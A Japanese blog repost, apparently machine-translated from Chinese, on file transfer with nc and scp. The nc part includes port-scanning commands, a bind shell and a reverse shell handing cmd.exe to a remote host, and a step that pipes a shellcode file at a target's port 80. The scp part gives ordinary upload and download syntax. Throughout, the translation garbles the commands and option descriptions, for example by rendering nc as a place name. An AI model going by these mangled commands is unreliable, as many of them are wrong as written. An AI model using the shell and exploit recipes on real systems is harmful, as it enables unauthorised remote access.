ファイル転送を実現するためのLinux、NCまたはscpコマンド

あなたはNRまたはSCPを使用することができ、非常に実用的なヒント

 

NC指令、します。https://www.cnblogs.com/xuybin/archive/2013/09/27/3343098.htmlより転載

 

送信者:
CATのあるtest.txt | -l -p NC 6666
またはNC -l -p 6666 <test.txtの一部のバージョンは、-pはありません
(送信者のIPが10.20.133.152で提供)[接続を待って、6666ポートをリスニング]
受信終了:
6666> NC 10.20.133.152 test1.txtという
上記の動作として、ファイルはtest1.txtという名前を付けて保存、受信側に送信test.txtの側から送信することができます

どこかに接続したい:NC [-options]ホスト名のポート[ S] [ポート] ...
接続待ちのポートにバインドするために:NC -l -pポート[-options] [ホスト名]、[ポート]

構文:NC [-hlnruz] [ - G < ゲートウェイ...>] [ - G <ポインタ数>] [ - I <秒遅れ>] [ - O <出力ファイル>] [ - P <通信ポート> ] [ - S <ソースアドレス>] [ - V ...] [ - W < 秒でタイムアウト>] [ホスト名] [...通信ポート]
補足説明:この命令は、ルータのパラメータを行います。
パラメータ:
-g <ゲートウェイ>提供される通信ゲートウェイルータホップ、ほとんど8が設けられていてもよいああ失いました。
-G <ポイント数>設定ソースルート点、4の倍数である値。
-hオンラインヘルプを参照してください。
-i <秒の遅延を>情報及びスキャン通信ポートを送信する時間間隔を設定します。
リスニングモード、着信データの管理とコントロールを使用-l。
直接ではなく、ドメインネームサーバでIPアドレスを使用して-n。
-o <出力ファイル>ファイル名を指定し、ファイルに注ぎへと進ワードからのデータの送信が保存されています。
-p <通信ポート>は、ローカルホストが使用する通信ポートを設定します。
-rナンス指定された通信ポートローカルとリモートホスト。
-s <ソースアドレス>設定されたローカルホストは、パケットのIPアドレスを送信します。
-u使用UDPトランスポートプロトコル。
-v表示処理の実行指示。
-w <秒でタイムアウト>接続待ちの時間を設定します。
スキャン中にのみ通信ポート、-z 0の入力/出力モードを使用します。

さらに、NC指令は、ポートスキャンのためにも使用することができます:
NCは-Z -W2 10.20.133.152 1から14000を-v
ホスト10.20.133.152上の数字1〜14000 TCPポートをスキャンすることができます。

NC -u -v -z -w2 10.20.133.152 1から14000までは
ホスト10.20.133.152の数字1〜14000 UDPポートをスキャンすることができます。

NCは非常に良いネットワーク検出ツールであり、以下の詳細な使用です。
各パラメータの使用を参照するには「nc.exe -h」。
基本フォーマット:NC [-options]ホスト名、ポート[ポート] ...
   NC -l -pポート[オプション] [ホスト名]、[ポート]
-dバックグラウンドモード
-e PROGプログラムのリダイレクトは、一度接続し、[危険なの実装に! !]
-gゲートウェイホップポイントソース・ルーティング、最大8
-G NUMソース・ルーティングポインタ:4、8、12、...
-hヘルプ
間隔-i秒を遅らせる
ために-lリスニングモードを駅接続し
、接続が閉じられた後、-Lは、聞くことを続け
ていないホスト名で、指定された数の-n IPアドレスを
-o記録輸送の16進ファイル
のローカルポート番号ポートを-p
ランダムローカルおよびリモートポート-r
-s addrはローカル送信元アドレス
対話的TELNET使用-t
UDPモード-u
-v冗長出力は- -v 2つの詳細が得られるが
-w秒、タイムアウト時間
の入力と出力をオフに-z -スキャンするために使用される場合、
表現ポートMNは、フォーマットの範囲として記述することができます。
1)リモート・ホストに接続されている
形式:NC -nvv 192.168.xxの80
説明:192.168.xxのに接続されたTCP80ポート
ローカルホスト上でリスニング2)
フォーマット:NC -l -p 80は
説明:ポートリスニング機械TCP80
3)リモートホストスキャン
形式:NC -nvv -w2 -Z 192.168.xxの80-を445は
説明:のTCP445にTCP80のすべてのポート192.168.xxのスキャン
)4 SHELL、例えば結合リモートホスト:
フォーマット:NC -l -p 5354 -t -ec: \ WINNT \ SYSTEM32 \ cmd.exeの
説明:結合REMOTE TCP5354にCMDSHELLリモートホストポートホスト
バインディング5)と逆SHELLリモートホストに接続され、例:
フォーマット:NC -t -ec:\ WINNT \ SYSTEM32 \ cmd.exeの192.168.xxの5354
説明:結合ホストをREMOTE CMDSHELLとTCP5354ポート192.168.xxのへの接続を逆にある
(実際には、多くのNCの使用量は、あるいくつかの用途の最も基本的なより多くの
「|」ときのコマンドを使用して、パイプラインやコマンドをリダイレクトする「<」、「>」などのコマンドでより強力な......)。
6)攻撃手順例については:
フォーマット1:type.exe C:\ exploit.txt | NC -nvv 192.168.xxの80
フォーマット2:NC -nvv 192.168.xxの80 <C :\ exploit.txt
説明:192.168.xxの80ポートに接続され、そのパイプラインで送信されます。「exploit.txt \ C」のコンテンツがある(実際に両方のフォーマットが同じ効果を持って、実際には同じ目的があります:P)
添付:「C: \ exploit.txt 'はシェルコード等
7)ハニーポットなどの[1]例:
フォーマット:NC -L -p 80
説明:使用して、' -L「(資本L)はポートモニタを保つことができることに注意し、 CTRLの+ C最大まで
ハニーポットとして使用8)[2]例:
フォーマット:NC -L -p 80> C: \ log.txtという
説明:使用して、 '-L'絶えずCTRLまでのポートを監視することができC +まで、しばらく「C:\ log.txtという」に出力する場合「>」
  、すなわち、ログを添加することができる「>>」に
取り付けられた:「\ log.txtというC」ログの
ため)9 [3]、例とハニーポット:
フォーマット1:NC -L -p 80 <C :\ honeypot.txt
フォーマット2:type.exe C:\ honeypot.txt | NC -L -p 80
説明:使用して、「-L 「常にCtrl + Cまでのポートを監視してもよいし、」C:\ honeypot.txtのコンテンツは、 'は、パイプに」送信!
10)バックアップファイルの
データクリップマシン/データのバックアップは、B backup.tgzホストに
送信元ホストを:タールCZFを-仕事| NC -l -c -p 1234
目的ホスト:ノースカロライナ州192.168.0.1 1234>。


B:NC 4444> backup.tgz
ホストが直接拡散backup.tgzファイルを生成しないようにちょっと、送信が終了したときに欠点が知っているされていない、[Ctrl] + [C]切断後に渡します

 

 scpコマンド    します。https://www.cnblogs.com/suntray/p/9771209.htmlより転載

 

Macは、WindowsのSSHのCRT下には同様のシステムではありませんので、ローカルコンピュータは、MAC、Linuxサーバシステムであり、そのような頻繁に使用scpコマンドファイルのアップロードやダウンロードなどのツールをxshell。

次のようにコマンドがあり、

ファイルのアップロード:

SCPローカルファイルのパスとサーバのユーザ@サーバアドレスのファイル名(URL、IP):サーバーのパス/ファイルサーバー名(オプション、記入しないでください、その後、自動的にローカルファイル名で保存されます)

例えば

SCP〜/デスクトップ/ WYS / dist.zipルート@ XXXXX:/ルート/サーバ/ CRCC / WY /

ダウンロード:

SCPのユーザ@サーバーサーバーのアドレス(URL、IP):ローカルファイルサーバのパス/ファイル名のサーバーパス/ファイル名(オプション、それを埋めるしないでください、自動的にファイル名で保存されたサーバー) 

例えば

SCPルート@ xxxxxは:/root/servers/crcc/wy/dist.zip〜/デスクトップ/ WYS /

「:」あなたはフォルダに書き込みたい場合は、記述する必要があり、最終的には「/」が書き込まれなければならないことに注意してください

 特殊なケース:セキュリティ上のポリシーには、サーバーのSSHポート(SCPあるポート)の多くは、デフォルトのポート22を使用していない、別のポート番号に変更されます。コマンドのポート番号を追加する必要があり-P。

次のようにコマンドは次のとおりです。

ファイルのアップロード:

SCP -Pサーバーのユーザー@サーバのアドレス(URL、IP)のローカルファイルのパスとファイル名のポート番号:サーバのパス/ファイルサーバ名(オプションは、記入しない場合、自動的にローカルファイル名で保存されます)

例えば

SCP -Pポート番号〜/デスクトップ/ WYS / dist.zipルート@ XXXXX:/ルート/サーバ/ CRCC / WY /

 

ダウンロード:

SCP -Pサーバのユーザ@サーバのアドレス(URL、IP)のポート番号:ローカルファイルサーバのパス/ファイル名のサーバーパス/ファイル名(オプション、それを埋めるしないでください、自動的にファイル名で保存されたサーバー) 

例えば

SCP -Pポート番号ルート@ xxxxxは:/root/servers/crcc/wy/dist.zip〜/デスクトップ/ WYS /

「:」あなたはフォルダに書き込みたい場合は、記述する必要があり、最終的には「/」が書き込まれなければならないことに注意してください

-PPは、大文字Pの後ろにあるPとポート番号との間の空間を含む、ポート番号

 

 

 

 

おすすめ

転載: www.cnblogs.com/widget90/p/11719194.html